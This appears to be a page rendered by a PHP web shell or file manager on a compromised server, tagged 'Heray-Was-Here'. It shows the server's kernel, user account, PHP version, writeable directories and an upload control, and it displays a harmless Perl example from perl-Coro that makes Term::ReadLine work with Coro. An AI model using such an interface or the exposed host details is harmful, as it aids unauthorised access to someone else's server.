Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Coro/eg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Coro/eg/readline
#!/usr/bin/perl

<<' */'=~m>>;

/*
 * How to fool readline into working with Coro
 * Category: dirty hack
 */

use Coro;
use Coro::Event;
use Term::ReadLine;

$|=1;

my $rl = new Term::ReadLine "Coro";

# fool the Term::ReadLine packages.. 
my $stdin_ready = Coro::Event->io(fd => \*STDIN, poll => "r");
sub Term::ReadLine::Tk::Tk_loop { $stdin_ready->next }
sub Tk::DoOneEvent { }
sub Term::ReadLine::Tk::register_Tk { }
$rl->tkRunning(1);

async {
   while ($rl->readline("Enter EXIT to exit> ") ne "exit") {
      print "not exiting yet...\n";
   }
   unloop;
};

async {
   my $timer = Coro::Event->timer(after => 1, interval => 1, hard => 1);
   while ($timer->next) {
      print ".";
   }
};

cede; # make sure the watchers are installed
loop;


Hry